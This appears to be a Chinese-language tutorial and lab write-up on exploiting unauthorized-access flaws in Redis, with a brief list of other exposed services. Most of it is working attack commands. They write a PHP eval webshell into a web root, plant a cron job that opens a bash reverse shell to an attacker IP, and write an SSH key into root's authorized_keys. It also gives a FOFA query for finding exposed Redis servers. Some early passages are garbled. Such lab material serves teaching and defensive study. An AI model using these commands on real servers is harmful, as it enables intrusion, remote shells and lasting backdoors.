常见未授权访问漏洞
Redis未授权访问漏洞 ZooKeeper未授权访问漏洞 Docker未授权访问漏洞 Rsync未授权访问漏洞 MongoDB 未授权访问漏洞 Atlassian Crowd 未授权访问漏洞 Jenkins未授权访问漏洞 CouchDB未授权访问漏洞 Memcached 未授权访问漏洞 Elasticsearch 未授权访问漏洞 JBOSS未授权访问漏洞 Hadoop未授权访问漏洞 VNC未授权访问漏洞 Jupyter Notebook 未授权访问漏洞
Redis未授权访问特征
redis 6379
MongoDB: 27017 Memcached: 1121 Jboss: 8080 Docker: 2375 MySQL: 3306 CouchDB
端口扫描工具:Railgun
redis简介
Redis是一个完全开源的高性能key-value 数据库。
1.去最新n个数据的操作 2.排行榜,取top n个数据/∥最佳人气渤10条 3.精确的设置过期时间 4.计数器 5.实时系统,反垃圾系统 6.pub,sub发布订阅构建实时消息系统 7.构建消息队列 8.缓存
redis常见命令
redis连接远程服务器
redis-cli -h best -p port -a password
set testkey "Hello World"
设置键testkey的值为字符串Hello Wor
获取键testkey的内容
get testkey
设置键score的值为99
set score 99
使用INCR命令将score的值增加1
incr score
获取键score的内容
get score
keys* #列出当前数据库中所有的键
config set dir /home/test #设置工作目录
config set dbfilename redis.rdb #设置备份文件名
config get dir #检查工作目录是否设置成功
config get dbfilename #检查备份文件名是否设置成功
save #进行一次备份操作
flushall #删除所有数据(慎用)
del key #删除键为key的数据
● redis未授权访问
因配置不当可以未经授权访问,攻击者无需认证就可以访问到内部数据。
1.导致敏感信息泄露
2.执行flushall可清空所有数据
3.通过数据备份功能往磁盘写入后门文件(webshell、定时任务)
4.如果Redis以root身份运行,可以给root账户写入SSH公钥文件,免密码登录
● redis主从复制RCE
在Reids 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在rediss中
现一个新的Redis命令,通过c语言编译并加载恶意.so文件,达到代码执行的目
redis未授权访问利用
1.通过redis数据备份功能结合WEB服务,往WEB网站根目录写入一句话木马,从而得到WEB网站权限 2.通过redis数据备份功能写定时任务,通过定时任务反弹Shell 3.通过redis数据备份功能写SSH公钥,实现免密登录linux服务器
1.下载连接程序
wget http://download.redis.io/releases/redis-6.0.3.tar.gz
注意目录:
tar -zxvf redis-6.0.3.tar.gz //解
cd redis-6.0.3/
make //编译
cd src/
cp redis-cli/usr/bin 拷贝到usr/bin 可以全局使用 //客户端连接程序
第一种:写入一句话webshell
条件:
1.知道网站根目录绝对路径 2.对目标网站根目录有写入权限
redis-cli -h 10.1.8.59 -p 6379
config set dir /www/wwwroot/ThinkPHP/public //网站根目录
config set dbfilename shell.php
set x"<?php @eval($_POST['cmd']);?>" save
webshell管理工具连接
第二种:写入定时任务启动webshell
redis-cli -h 192.168.8.59
set xxx "\n\n/1 */bin/bash -i>& /dev/tcp/192.168.8.80/7777
get XXX 查看设置内容
config set dir /var/spool/cron config set dbfilename root save
有部分linux的定时任务目录不在/var/spool/cron 下, 可能存在/var/spool/cron/erontabs下,我们可以在 使用config set dir 命令时进行判断是否存在该目录
● 写入SSH公钥
1.ssh-keygen -t rsa //生成ssh公私钥匙 生成到root目录下面的.ssh
2.(echo-e"\n\n":cat~/.ssh/id rsa.pub;echo-e"\n\n")>foo.txt //创建一个文件名为foot,并写入公钥内容
3.cat /foo.txt | redis-cli -h 192.168.1.200-p 6379 -x set sshkey //使用管道符把foot文件中的内容写入到键值sshkey中
- redis-cli -h 192.168.1.200 -p 6379 //连接redis数据库
- config set dir /root/.ssh //设置备份目录为root 下的.ssh目录
6.config set dbfilename "authorized keys" //设置备份文件名为authorized keys
- save //保存键值内容至文件中
8.ssh root@139.9.198.30-i~/.ssh/id_rsa //使用ssh进行连接,用私钥进行连接
fofo搜索redis未授权访问漏洞
port="6379" && county="CN"
预备知识
Redis是用C语言开发的一个开源的高性能键值对(key-value)数据库,和Memcached类似。Redis支持存储的value类型相对更多,包括string(字符串)、list(链表)、set(集合)、zset(sorted set有序集合)和hash(哈希类型)。这些数据类型都支持push/pop、add/remove及取交集并集和差集及更丰富的操作,而且这些操作都是原子性的。在此基础上,Redis支持各种不同方式的排序。与Memcached一样,为了保证效率,数据都是缓存在内存中。区别的是Redis会周期性的把更新的数据写入磁盘或者把修改操作写入追加的记录文件,并且在此基础上实现了master-slave(主从)同步。
Redis也是一个高性能的key-value数据库。Redis的出现,很大程度补偿了Memcached这类key/value存储的不足,在部分场合可以对关系数据库起到很好的补充作用。它提供了Java,C/C++,C#,PHP,JavaScript,Perl,Object-C,Python,Ruby,Erlang等客户端,使用很方便。
Redis支持主从同步。数据可以从主服务器向任意数量的从服务器上同步,从服务器可以是关联其他从服务器的主服务器。这使得Redis可执行单层树复 制。存盘可以有意无意的对数据进行写操作。由于完全实现了发布/订阅机制,使得从数据库在任何地方同步树时,可订阅一个频道并接收主服务器完整的消息发布记录。同步对读取操作的可扩展性和数据冗余很有帮助。
Redis常用命令:
set testkey "Hello World" # 设置键testkey的值为字符串Hello World
get testkey # 获取键testkey的内容
SET score 99 # 设置键score的值为99
INCR score # 使用INCR命令将score的值增加1
GET score # 获取键score的内容
keys * # 列出当前数据库中所有的键
get anotherkey # 获取一个不存在的键的值
config set dir /home/test # 设置工作目录
config set dbfilename redis.rdb # 设置备份文件名
config get dir # 检查工作目录是否设置成功
config get dbfilename # 检查备份文件名是否设置成功
save # 进行一次备份操作
flushall # 删除所有数据(慎用)
del key # 删除键为key的数据
Redis安全相关实验:《Redis数据库安全实践》
实验目的
通过本实验掌握Redis未授权访问漏洞的常见利用方式。
实验环境
目标机器:CentOS7+Apache+Redis、IP地址:10.1.1.200
攻击机器:Kali、IP地址:10.1.1.100
实验步骤一
任务描述:进行信息收集,寻找可能利用的点
- 通过nmap进行端口扫描,发现如下端口开放:
22端口:ssh远程登录
80端口:http网站服务
6379端口:redis服务
- 已知目标开放了80端口,使用浏览器尝试访问发现是一个测试页面:
- 通过目录扫描发现网站敏感目录或敏感页面,发现存在phpinfo信息泄露:
- 目标机器存在6379即Redis服务,尝试测试是否存在Redis未授权漏洞:
首先下载Redis客户端连接工具(工具包里),解压后进入Redis目录,然后通过make进行编译,即可使用Redis-cli尝试连接Redis服务器:
tar -zxf redis-6.0.3.tar.gz
cd redis-6.0.3
make
编译后redis-cli默认生成在src目录,进入src目录,将redis-cli复制到 /usr/bin 目录即可以在终端的任意目录下执行redis-cli:
cd src/
cp redis-cli /usr/bin
cd ../../
redis-cli -h 10.1.1.200 -p 6379
-h:指定连接的redis服务器
-p:指定redis服务器端口
info:打印系统信息,如Redis的版本、目标系统版本、系统架构等
如上图可以看到的确存在Redis未授权访问漏洞。
实验步骤二
任务描述:进行Redis未授权访问漏洞利用。
- Redis未授权写webshell
1)通过redis数据备份功能结合WEB服务,往WEB网站根目录写入一句话木马,从而得到WEB网站权限
要把一句话写入网站根目录,有两个前提条件,第一:知道目标网站根目录绝对路径,第二:对目标网站根目录有写入权限,通过对前面phpinfo页面的信息收集,我们可以知道目标网站根目录绝对路径为:/var/www/html
通过执行如下命令写入一句话木马到网站根目录:
redis-cli -h 10.1.1.200 -p 6379 #连接redis服务器
config set dir /var/www/html #设置数据库备份文件的放置路径
config set dbfilename shell.php #设置备份文件的文件名
set x "<?php @eval($_POST['test']);?>" #添加一个键”x”,值为一句话木马
save #保存
注意:设置键值为一句话木马时,可以使用如下形式:
set x "\r\n\r\n<?php @eval($_POST['cmd']);?>\r\n\r\n"
解释:”\r\n\r\n” 表示换行,用Redis写入的文件会自带一些版本信息,如果不换行可能会导致无法执行。
通过浏览器访问对应页面确认是否写入文件成功,显示如下,说明成功写入:
然后即可通过工具包里面提供的蚁剑连接一句话木马:
- Redis未授权写定时任务反弹shell
1)Kali使用nc开启监听,kali终端下执行如下命令:
nc -lvvp 4433
2.)执行如下命令写定时任务
redis-cli -h 10.1.1.200 -p 6379 #连接目标redis服务
set xx "\n\n/1 * /bin/bash -i >& /dev/tcp/10.1.1.100/4433 0>&1\n\n"
设置写入的内容,在计划任务前后加入换行以确保写入的计划任务可以被正常解析,每分钟执行一次/bin/bash -i >& /dev/tcp/10.1.1.100/4433 0>&1
config set dir /var/spool/cron #设置备份路径
config set dbfilename root #设置备份文件名
save #保存
3)等待一分钟后即可得到目标shell:
- Redis未授权写SSH公钥获得shell
攻击者在未授权访问Redis的情况下可以利用Redis的相关方法,如果运行 Redis的用户是 root 用户,攻击者可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys文件中,进而可以无需密码直接登录目标服务器。
1)生成公钥,默认情况下,生成在用户家目录下的 .ssh 目录下:
ssh-keygen -t rsa
2)将公钥写入foo.txt文件,前后用\n换行,避免和Redis其他缓存数据混合
(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > /tmp/foo.txt
3)将foo.txt写靶机(使用redis-cli -h ip命令连接靶机,写入文件)
cat /tmp/foo.txt | redis-cli -h 10.1.1.200 -p 6379 -x set sshkey
4)连接Redis
redis-cli -h 10.1.1.200 -p 6379
5)设置备份文件路径
config set dir /root/.ssh/
6)设置上传公钥的备份文件名字为authorized_keys
config set dbfilename "authorized_keys"
save
7)远程连接目标机器
ssh root@10.1.1.200 -i /root/.ssh/id_rsa